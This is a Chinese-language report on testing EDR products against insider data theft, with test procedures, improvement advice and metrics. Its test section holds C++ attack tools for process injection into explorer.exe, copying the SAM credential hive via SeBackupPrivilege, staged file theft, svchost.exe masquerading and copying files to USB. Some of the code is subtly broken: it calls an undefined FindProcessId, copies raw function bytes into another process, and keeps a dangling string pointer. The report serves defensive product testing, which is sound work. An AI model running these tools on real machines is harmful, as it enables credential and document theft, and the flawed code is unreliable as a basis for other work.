EDR产品内网窃密性攻击场景测试研究报告

一、研究背景与目标

1.1 研究背景

随着网络安全威胁的不断演进，终端检测与响应(EDR)产品已成为企业内网安全防护体系的核心组件。EDR通过在终端设备上安装代理软件，实时监控和分析终端活动，能够及时检测各类安全威胁并进行快速响应处置。然而，在当前内网环境下，传统依赖特征库的防御方式已无法有效应对新型窃密性攻击，如无文件攻击、进程注入、权限提升等高级威胁。

特别是在内网环境中，攻击者往往采用更加隐蔽的手段窃取敏感信息，这些攻击行为通常不与外部C2服务器通信，使得传统依赖网络流量分析的检测方法难以奏效。根据2025年最新的安全研究表明，EDR产品在面对这类威胁时仍存在明显短板。

1.2 研究目标

本研究旨在为EDR产品高级测试员提供系统化的测试方案，聚焦于内网环境下的窃密性攻击场景，帮助其通过测试挖掘产品研判的弱点，进而提升产品质量。具体目标包括：

设计一系列模拟真实内网窃密场景的测试用例，覆盖当前主流的窃密技术手段
提供可在内网环境中执行的测试工具源码，确保测试的可操作性
建立EDR产品在窃密场景下的能力评估标准，明确产品改进方向
提出产品设计建议，帮助EDR产品提升在无特征依赖情况下的风险判断能力

二、内网窃密性攻击场景分析

2.1 常见窃密技术与攻击手法

在内网环境中，攻击者通常采用多种技术手段窃取敏感信息，这些技术手段可以分为以下几类：

进程注入与伪装：攻击者通过将恶意代码注入到合法进程中，利用合法进程的权限访问敏感资源，同时规避检测。
权限提升：攻击者利用系统漏洞或配置缺陷，将普通用户权限提升至管理员权限，从而能够访问高敏感资源。
敏感数据窃取：攻击者通过直接访问敏感文件、监控剪贴板内容、记录键盘输入等方式获取敏感信息。
数据外移：攻击者将窃取的敏感数据通过可移动存储设备(如U盘)或内网共享目录进行传输。
隐蔽信道通信：攻击者利用DNS、ICMP等协议建立隐蔽信道，将窃取的数据通过这些信道传输到外部服务器。

2.2 EDR在窃密场景下的能力短板

基于当前EDR产品的技术特点和实际应用情况，我们总结出以下几方面的能力短板：

依赖特征库检测：传统EDR过度依赖已知威胁特征库，无法及时识别新型窃密攻击变种。
缺乏行为基线分析：大多数EDR产品缺乏有效的行为基线学习机制，无法准确识别偏离正常行为模式的异常操作。
关联分析能力不足：EDR产品往往只能检测单一攻击行为，缺乏将分散的异常行为关联成完整攻击链的能力。
权限-资源匹配度判断缺失：EDR产品难以有效评估进程权限与访问资源之间的匹配度。
跨时间行为关联能力弱：EDR产品对跨时间、跨进程的异常行为关联分析能力不足。

三、内网窃密场景下的EDR测试方案

3.1 测试环境搭建

为确保测试的有效性和可重复性，需要构建一个完整的内网测试环境，包括：

测试网络架构

部署包含Windows、Linux等多种操作系统的测试网络
划分不同安全区域，模拟企业内网环境
配置网络设备和安全设备，如防火墙、交换机等

测试终端配置

准备不同类型的终端设备，包括服务器、工作站、移动设备等
安装待测试的EDR产品客户端
配置不同安全级别的用户账户，模拟真实用户环境

敏感数据模拟

在不同位置放置模拟敏感文件，如.docx、.xlsx、.pdf等格式的文档
在系统关键位置设置监控点，如注册表SAM文件、系统日志等
配置内网共享目录和可移动存储设备，模拟数据外移路径

3.2 核心测试场景与方法

3.2.1 进程注入与敏感数据窃取测试

测试目标：验证EDR对进程注入行为的检测能力，以及对注入后敏感数据窃取行为的关联分析能力。

测试步骤：

编译并运行进程注入测试工具，将恶意代码注入到合法进程(如explorer.exe)中
注入后的进程尝试访问并读取敏感文件
观察EDR是否检测到进程注入行为和后续的敏感文件访问
验证EDR是否能够将这两个行为关联起来，形成完整的攻击链告警

#include <windows.h>
#include <iostream>
#include <fstream>
using namespace std;

// 注入到目标进程的函数（读取敏感文件）
DWORD WINAPI StealSensitiveFile(LPVOID lpParam) {
    const char* srcPath = "C:\\敏感文档.docx";
    const char* dstPath = "C:\\Temp\\steal_data.dat";

    ifstream srcFile(srcPath, ios::binary);
    if (!srcFile.is_open()) return 1;

    ofstream dstFile(dstPath, ios::binary);
    if (!dstFile.is_open()) {
        srcFile.close();
        return 1;
    }

    dstFile << srcFile.rdbuf();
    srcFile.close();
    dstFile.close();

    return 0;
}

int main() {
    // 查找目标进程PID
    DWORD explorerPID = FindProcessId("explorer.exe");
    if (explorerPID == 0) {
        cout << "Find explorer.exe failed" << endl;
        return 1;
    }

    // 打开目标进程
    HANDLE hExplorer = OpenProcess(PROCESS_ALL_ACCESS, FALSE, explorerPID);
    if (hExplorer == NULL) {
        cout << "Open explorer.exe failed: " << GetLastError() << endl;
        return 1;
    }

    // 在目标进程中分配内存，写入窃取函数
    LPVOID remoteMem = VirtualAllocEx(hExplorer, NULL, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (remoteMem == NULL) {
        cout << "VirtualAllocEx failed: " << GetLastError() << endl;
        CloseHandle(hExplorer);
        return 1;
    }

    WriteProcessMemory(hExplorer, remoteMem, (LPVOID)StealSensitiveFile, 4096, NULL);

    // 创建远程线程，执行窃取函数
    HANDLE hRemoteThread = CreateRemoteThread(hExplorer, NULL, 0, (LPTHREAD_START_ROUTINE)remoteMem, NULL, 0, NULL);
    if (hRemoteThread == NULL) {
        cout << "CreateRemoteThread failed: " << GetLastError() << endl;
        VirtualFreeEx(hExplorer, remoteMem, 0, MEM_RELEASE);
        CloseHandle(hExplorer);
        return 1;
    }

    WaitForSingleObject(hRemoteThread, INFINITE);

    // 清理资源
    CloseHandle(hRemoteThread);
    VirtualFreeEx(hExplorer, remoteMem, 0, MEM_RELEASE);
    CloseHandle(hExplorer);

    return 0;
}

预期结果

合格：EDR应能检测到进程注入行为和敏感文件访问行为，但可能无法将两者关联
优秀：EDR不仅能检测到两个行为，还能将其关联成完整的攻击链，并生成相应的告警

3.2.2 权限提升与高敏感资源访问测试

测试目标：验证EDR对权限提升行为的检测能力，以及对低权限进程访问高敏感资源的判断能力。

测试步骤：

启动一个低权限进程(如notepad.exe)
通过代码提升该进程的权限(如启用SeBackupPrivilege)
尝试访问高敏感资源(如C:\Windows\System32\config\SAM)
观察EDR是否检测到权限提升行为和后续的高敏感资源访问
验证EDR是否能够将这两个行为关联起来，形成完整的攻击链告警

#include <windows.h>
#include <iostream>
#include <fstream>
using namespace std;

// 提升进程权限（启用SeBackupPrivilege）
BOOL EnablePrivilege(const char* privName) {
    HANDLE hToken;
    TOKEN_PRIVILEGES tp = {0};
    LUID luid;

    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
        cout << "OpenProcessToken failed: " << GetLastError() << endl;
        return FALSE;
    }

    if (!LookupPrivilegeValue(NULL, privName, &luid)) {
        cout << "LookupPrivilegeValue failed: " << GetLastError() << endl;
        CloseHandle(hToken);
        return FALSE;
    }

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL)) {
        cout << "AdjustTokenPrivileges failed: " << GetLastError() << endl;
        CloseHandle(hToken);
        return FALSE;
    }

    CloseHandle(hToken);
    return TRUE;
}

// 读取SAM文件（敏感资源）
BOOL ReadSAMFile() {
    const char* samPath = "C:\\Windows\\System32\\config\\SAM";
    const char* dstPath = "C:\\Temp\\sam_backup.tmp";

    HANDLE hSAM = CreateFile(samPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);
    if (hSAM == INVALID_HANDLE_VALUE) {
        cout << "Open SAM failed: " << GetLastError() << endl;
        return FALSE;
    }

    char buf[4096];
    DWORD bytesRead;
    ofstream dstFile(dstPath, ios::binary);
    if (!dstFile.is_open()) {
        cout << "Create backup file failed" << endl;
        CloseHandle(hSAM);
        return FALSE;
    }

    while (ReadFile(hSAM, buf, sizeof(buf), &bytesRead, NULL) && bytesRead > 0) {
        dstFile.write(buf, bytesRead);
    }

    dstFile.close();
    CloseHandle(hSAM);
    cout << "SAM backup saved to " << dstPath << endl;
    return TRUE;
}

int main() {
    // 提升当前进程权限
    if (!EnablePrivilege(SE_BACKUP_NAME)) {
        cout << "Enable SeBackupPrivilege failed" << endl;
        return 1;
    }

    // 读取SAM文件
    ReadSAMFile();

    return 0;
}

预期结果

合格：EDR应能检测到权限提升行为和高敏感资源访问行为，但可能无法将两者关联
优秀：EDR不仅能检测到两个行为，还能将其关联成完整的攻击链，并生成相应的告警

3.2.3 敏感数据分段式窃取测试

测试目标：验证EDR对跨时间、跨进程的敏感数据窃取行为的关联分析能力。

测试步骤：

使用合法进程(如winword.exe)打开并读取敏感文件
间隔一段时间(如10分钟)后，该进程创建一个临时文件
再间隔一段时间(如5分钟)后，该进程将敏感文件内容写入临时文件
观察EDR是否能检测到这三个操作，并将其关联成完整的敏感数据窃取行为
验证EDR是否能够生成相应的告警，并提供准确的攻击链分析

#include <windows.h>
#include <iostream>
#include <fstream>
#include <thread>
using namespace std;

// 模拟敏感文件读取
void ReadSensitiveFile() {
    const char* srcPath = "D:\\ERP\\销售数据.xlsx";
    ifstream srcFile(srcPath, ios::binary);
    if (!srcFile.is_open()) {
        cout << "Failed to open source file" << endl;
        return;
    }
    srcFile.close();
    cout << "Sensitive file read successfully" << endl;
}

// 模拟创建临时文件
void CreateTempFile() {
    const char* tempPath = "C:\\Users\\Public\\1.tmp";
    ofstream tempFile(tempPath, ios::binary);
    if (!tempFile.is_open()) {
        cout << "Failed to create temp file" << endl;
        return;
    }
    tempFile.close();
    cout << "Temp file created successfully" << endl;
}

// 模拟写入临时文件
void WriteToTempFile() {
    const char* srcPath = "D:\\ERP\\销售数据.xlsx";
    const char* tempPath = "C:\\Users\\Public\\1.tmp";

    ifstream srcFile(srcPath, ios::binary);
    if (!srcFile.is_open()) {
        cout << "Failed to open source file" << endl;
        return;
    }

    ofstream tempFile(tempPath, ios::binary);
    if (!tempFile.is_open()) {
        cout << "Failed to create temp file" << endl;
        srcFile.close();
        return;
    }

    tempFile << srcFile.rdbuf();
    srcFile.close();
    tempFile.close();
    cout << "Data written to temp file successfully" << endl;
}

int main() {
    // 第一步：读取敏感文件
    ReadSensitiveFile();

    // 等待10分钟
    cout << "Waiting for 10 minutes..." << endl;
    this_thread::sleep_for(chrono::minutes(10));

    // 第二步：创建临时文件
    CreateTempFile();

    // 等待5分钟
    cout << "Waiting for 5 minutes..." << endl;
    this_thread::sleep_for(chrono::minutes(5));

    // 第三步：写入临时文件
    WriteToTempFile();

    return 0;
}

预期结果

合格：EDR应能检测到这三个操作，但可能无法将其关联成完整的攻击链
优秀：EDR不仅能检测到这三个操作，还能将其关联成完整的攻击链，并生成相应的告警

3.2.4 进程伪装与隐蔽数据窃取测试

测试目标：验证EDR对进程伪装技术的识别能力，以及对伪装进程进行敏感数据窃取行为的检测能力。

测试步骤：

将测试工具重命名为系统进程名(如svchost.exe)并运行
将测试工具放入系统目录或其他可信路径
尝试访问并读取敏感文件
观察EDR是否能穿透进程伪装，识别其真实风险
验证EDR是否能够生成相应的告警，并提供准确的风险定位

#include <windows.h>
#include <iostream>
#include <fstream>
using namespace std;

int main() {
    // 伪装成系统进程svchost.exe
    const char* srcPath = "C:\\敏感文档.docx";
    const char* dstPath = "C:\\Temp\\stolen_data.dat";

    ifstream srcFile(srcPath, ios::binary);
    if (!srcFile.is_open()) {
        cout << "Failed to open source file" << endl;
        return 1;
    }

    ofstream dstFile(dstPath, ios::binary);
    if (!dstFile.is_open()) {
        srcFile.close();
        cout << "Failed to create destination file" << endl;
        return 1;
    }

    dstFile << srcFile.rdbuf();
    srcFile.close();
    dstFile.close();

    cout << "Sensitive data stolen successfully" << endl;
    return 0;
}

预期结果

合格：EDR应能检测到敏感文件访问行为，但可能无法识别进程伪装
优秀：EDR不仅能检测到敏感文件访问行为，还能识别进程伪装，并生成相应的告警

3.2.5 数据外移与U盘拷贝测试

测试目标：验证EDR对通过可移动存储设备进行数据外移行为的检测能力。

测试步骤：

插入可移动存储设备(如U盘)
将敏感文件复制到U盘
观察EDR是否能检测到数据外移行为
验证EDR是否能够生成相应的告警，并提供准确的风险定位

#include <windows.h>
#include <iostream>
#include <fstream>
#include <vector>
using namespace std;

// 获取所有可移动存储设备（U盘）
vector<string> getRemovableDrives() {
    vector<string> drives;
    char driveLetters[26] = {0};
    DWORD driveMask = GetLogicalDrives();

    for (char c = 'A'; c <= 'Z'; c++) {
        if (driveMask & 1) {
            string drive = string(1, c) + ":\\";
            UINT driveType = GetDriveTypeA(drive.c_str());
            if (driveType == DRIVE_REMOVABLE) {  // 可移动设备（U盘）
                drives.push_back(drive);
            }
        }
        driveMask >>= 1;
    }

    return drives;
}

// 复制文件到U盘
bool copyToUSB(const string& sourcePath, const string& usbDrive) {
    const char* srcPath = sourcePath.c_str();
    const char* dstPath = (usbDrive + "stolen_data.dat").c_str();

    ifstream srcFile(srcPath, ios::binary);
    if (!srcFile.is_open()) {
        cout << "Failed to open source file" << endl;
        return false;
    }

    ofstream dstFile(dstPath, ios::binary);
    if (!dstFile.is_open()) {
        srcFile.close();
        cout << "Failed to create destination file" << endl;
        return false;
    }

    dstFile << srcFile.rdbuf();
    srcFile.close();
    dstFile.close();

    cout << "Sensitive data copied to USB successfully" << endl;
    return true;
}

int main() {
    // 获取U盘列表
    vector<string> usbDrives = getRemovableDrives();
    if (usbDrives.empty()) {
        cout << "No USB drive found" << endl;
        return 1;
    }

    // 选择第一个U盘
    string usbDrive = usbDrives[0];

    // 复制敏感文件到U盘
    if (!copyToUSB("C:\\敏感文档.docx", usbDrive)) {
        return 1;
    }

    return 0;
}

预期结果

合格：EDR应能检测到文件复制行为，但可能无法识别数据外移的风险
优秀：EDR不仅能检测到文件复制行为，还能识别数据外移的风险，并生成相应的告警

四、EDR产品研判弱点挖掘方法

4.1 行为链关联分析方法

EDR产品在窃密场景下的一个主要弱点是对行为链的关联分析能力不足。为了挖掘这一弱点，可以采用以下方法：

行为链拆解测试：将完整的窃密攻击链拆分为多个独立的步骤，间隔一定时间执行，观察EDR是否能够将这些分散的步骤关联起来。
干扰数据注入测试：在执行窃密行为的同时，注入大量正常操作数据，观察EDR是否会被干扰数据淹没，导致漏检或误检。
时间窗口分析测试：调整攻击步骤之间的时间间隔，测试EDR在不同时间窗口内的关联能力。

4.2 基线学习与异常检测方法

EDR产品在基线学习与异常检测方面的弱点可以通过以下方法挖掘：

正常行为学习测试：在测试环境中模拟一段时间的正常业务操作，让EDR建立行为基线。然后执行轻微偏离正常行为的窃密操作，观察EDR是否能够识别这些异常行为。
权限-资源匹配度测试：测试低权限进程访问高敏感资源、高权限进程执行低权限操作等异常情况，观察EDR是否能够识别这些权限与资源不匹配的行为。
进程行为一致性测试：测试合法进程执行与其功能不相关的操作，观察EDR是否能够识别这些行为不一致的情况。

4.3 风险定位与溯源方法

EDR产品在风险定位与溯源方面的弱点可以通过以下方法挖掘：

攻击源头定位测试：在多终端环境中模拟攻击传播，观察EDR是否能够准确识别攻击源头和传播路径。
影响范围评估测试：在测试环境中模拟攻击扩散，观察EDR是否能够准确评估受影响的终端和资源范围。
响应与恢复测试：测试EDR在检测到窃密行为后的响应能力，包括自动响应和手动响应。

五、EDR产品改进建议

5.1 行为基线与异常检测改进

为提升EDR产品在无特征依赖情况下的风险判断能力，建议从以下几个方面改进：

建立动态行为基线

实现基于机器学习的行为基线学习机制，能够自动学习正常行为模式
支持按用户、进程、终端等多个维度建立行为基线，提高基线的精准度
定期更新行为基线，适应业务变化和环境变化

增强异常检测能力

实现多维度异常检测，包括行为异常、权限异常、资源访问异常等
引入统计学习方法，如孤立森林、One-Class SVM等，识别偏离正常模式的行为
增强对低隐蔽性攻击的识别能力，降低检测延迟

5.2 行为链关联分析改进

为提升EDR产品的行为链关联分析能力，建议从以下几个方面改进：

时间窗口优化

实现动态时间窗口机制，根据攻击行为的特点自动调整关联时间窗口
支持跨时间窗口的行为关联，提高对长时间潜伏攻击的识别能力
提供时间窗口配置选项，允许用户根据实际情况进行调整

多维度关联规则

建立基于攻击技术、资源类型、进程关系等多维度的关联规则
支持自定义关联规则，允许用户根据业务需求定制检测逻辑
实现关联规则的优先级管理，提高检测效率和准确性

5.3 风险定位与响应改进

为提升EDR产品的风险定位与响应能力，建议从以下几个方面改进：

攻击溯源增强

实现基于进程树、文件溯源、用户操作记录等多源数据的攻击溯源
支持攻击路径的完整还原和可视化展示
提供攻击源头的概率评估，帮助安全人员确定优先级

影响范围评估优化

建立终端间的信任关系和访问关系模型
实现基于传播路径和资源访问的影响范围评估算法
提供受影响资源的敏感性分析，帮助安全人员评估风险等级

5.4 产品设计建议

为帮助EDR产品更好地支持剧本创建和日志管理，建议从以下几个方面改进：

剧本管理系统：提供可视化的剧本创建工具，允许用户通过拖拽方式定义检测规则和响应动作
日志聚合与降噪：实现日志的自动聚合和关联，减少冗余日志
风险优先级排序：建立基于资源敏感性、攻击复杂度、影响范围等因素的风险评分模型
集成与扩展能力：提供开放的API接口，支持与其他安全产品和系统的集成

六、测试结果评估与产品优化流程

6.1 测试结果评估标准

为了客观评估EDR产品在窃密场景下的表现，我们建立以下评估标准：

检测率评估

行为检测率：EDR检测到的窃密行为数量与实际执行的窃密行为数量的比率
攻击链检测率：EDR检测到的完整攻击链数量与实际执行的完整攻击链数量的比率
漏报率：EDR未检测到的窃密行为数量与实际执行的窃密行为数量的比率

准确率评估

真阳性率：EDR正确检测为窃密行为的数量与所有被检测为窃密行为的数量的比率
假阳性率：EDR错误检测为窃密行为的数量与所有正常行为的数量的比率
准确率：EDR正确检测的数量与所有检测结果的比率

6.2 产品优化流程

基于测试结果评估，我们建议采用以下产品优化流程：

弱点分析与优先级排序：对测试中发现的弱点进行分类和分析，确定其对产品安全性的影响程度
技术方案设计：针对不同类型的弱点，设计相应的技术解决方案
开发与测试：按照技术实施方案进行产品开发，并进行全面测试
验证与发布：使用测试用例对修复后的产品进行验证，确保弱点已被修复
持续优化：建立弱点跟踪机制，持续收集用户反馈和测试结果

七、结论与展望

7.1 研究结论

通过对EDR产品在内网窃密性攻击场景下的测试研究，我们得出以下结论：

行为关联分析是EDR的核心短板：当前EDR产品在行为链关联分析方面普遍存在不足，难以将分散的异常行为关联成完整的攻击链。
基线学习与异常检测能力亟待提升：大多数EDR产品缺乏有效的行为基线学习机制，对轻微异常和权限-资源不匹配的行为识别能力不足。
风险定位与溯源能力有待加强：EDR产品在攻击源头定位、传播路径还原和影响范围评估方面存在不同程度的缺陷。
产品设计需要更灵活的剧本管理：EDR产品需要提供更灵活的剧本创建和管理功能，帮助安全人员快速定制检测规则和响应策略。

7.2 未来展望

基于当前EDR技术的发展趋势和研究成果，我们对未来EDR产品的发展方向进行展望：

AI驱动的智能检测：未来EDR产品将更加依赖人工智能技术，实现对新型窃密攻击的智能识别和分类。
多模态数据融合：EDR产品将整合更多维度的数据，通过多模态数据融合提高对复杂攻击的识别能力。
主动防御与预测：未来EDR产品将不仅能够检测和响应已发生的攻击，还能够基于历史数据和威胁情报进行风险预测。
轻量级与高效性：随着终端设备性能的提升和安全需求的增加，EDR产品将向轻量级、高效性方向发展。
开放生态与协同防御：EDR产品将与其他安全产品和系统进行更深入的集成，形成开放的安全生态系统。

目录

一、研究背景与目标

1.1 研究背景

1.2 研究目标

二、内网窃密性攻击场景分析

2.1 常见窃密技术与攻击手法

2.2 EDR在窃密场景下的能力短板

三、内网窃密场景下的EDR测试方案

3.1 测试环境搭建

测试网络架构

测试终端配置

敏感数据模拟

3.2 核心测试场景与方法

3.2.1 进程注入与敏感数据窃取测试

预期结果

3.2.2 权限提升与高敏感资源访问测试

预期结果

3.2.3 敏感数据分段式窃取测试

预期结果

3.2.4 进程伪装与隐蔽数据窃取测试

预期结果

3.2.5 数据外移与U盘拷贝测试

预期结果

四、EDR产品研判弱点挖掘方法

4.1 行为链关联分析方法

4.2 基线学习与异常检测方法

4.3 风险定位与溯源方法

五、EDR产品改进建议

5.1 行为基线与异常检测改进

建立动态行为基线

增强异常检测能力

5.2 行为链关联分析改进

时间窗口优化

多维度关联规则

5.3 风险定位与响应改进

攻击溯源增强

影响范围评估优化

5.4 产品设计建议

六、测试结果评估与产品优化流程

6.1 测试结果评估标准

检测率评估

准确率评估

6.2 产品优化流程

七、结论与展望

7.1 研究结论

7.2 未来展望